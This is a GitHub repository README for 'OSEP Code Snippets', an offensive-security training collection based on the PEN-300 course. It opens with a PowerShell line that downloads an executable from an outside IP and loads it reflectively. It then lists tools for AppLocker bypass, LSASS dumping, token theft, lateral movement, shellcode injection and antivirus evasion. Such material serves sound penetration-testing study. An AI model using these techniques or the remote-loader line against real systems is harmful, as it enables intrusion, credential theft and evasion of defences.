OSEP Code Snippets

Code examples are provided as-is, without any form of warranty. Based on Offensive Security's PEN-300 course.

Classes and methods are public, so most binaries should allow for reflective loading as below.

$data = (New-Object System.Net.WebClient).DownloadData('http://10.10.10.10/rev.exe')
$assem = [System.Reflection.Assembly]::Load($data)
[rev.Program]::Main("".Split())

Contents

Snippet Name	Description
AppLocker Bypass PowerShell Runspace (C#)	Base binary for an applocker bypass using a combination of `CertUtil`, `BitsAdmin`, and `InstallUtil`. See `README.md` for details.
Fileless Lateral Movement (C#)	Wipes Windows Defender signatures on the remote host and uses a PSExec-like method (except using an existing process) to achieve lateral movement. Takes arguments for the target, the target service, and the target binary to run. Note that a non-critical service should be chosen, such as `SensorService`.
Linux Shellcode Encoder (Python)	Utility scripts to encode C# payloads from Linux, either ingesting a raw shellcode payload (.bin), or automatically feeding from 'msfvenom'. Supports XOR and ROT encoding with an arbitrary key, and prints the decoding function. Can be used to replace the C# ROT/XOR encoder scripts.
Linux Shellcode Loaders (C)	Various C-based shellcode loaders, including base binaries for library hijacking.
MiniDump (C# & PS1)	A simple binary to Dump LSASS to `C:\Windows\Tasks\lsass.dmp`. Also provided as native PowerShell script.
MSSQL (C#)	An example binary that includes a variety of discussed MSSQL interactions. Change the code to include only what you need.
PrintSpoofer.NET (C#)	Steals the token of the incoming authentication forced with the PrintSpooler exploit, and use that token to run a given binary. Modified to not require an interactive logon session. Takes arguments for the pipe name and binary to run.
ROT Shellcode Encoder (C#)	A simple binary to apply state-of-the-art ROT encoding to obfuscate the shellcode. It takes an argument for the number of rotations.
Sections Shellcode Process Injector (C#)	Injects and runs shellcode using `NtCreateSection`, `NtMapViewOfSection`, `NtUnMapViewOfsection` and `NtClose` instead of the "standard" method.
Shellcode Process Hollowing (C#)	Hollows a `svchost` process and runs the shellcode from there. Scores 0/68 on VirusTotal at the time of writing.
Shellcode Process Injector (C# & PS1)	Simple shellcode runner that applies process injection. Accepts an argument for the process to inject into. If no argument is given, it attempts to pick a suitable process based on privilege level. Also provided as native PowerShell script (though it is a bit simpler).
Simple Shellcode Runner (C# & PS1 & VBA)	The simplest of shellcode runners. Also provided as native PowerShell and VBA scripts.
XOR Shellcode Encoder (C#)	A simple binary to apply state-of-the-art XOR encoding to obfuscate the shellcode.

DonnieMarco/OSEP-Code-Snippets

ErrorLooks like something went wrong!

About

Resources

Uh oh!

Stars

Watchers

Forks

Releases

Packages 0

Languages

Error
Looks like something went wrong!

Packages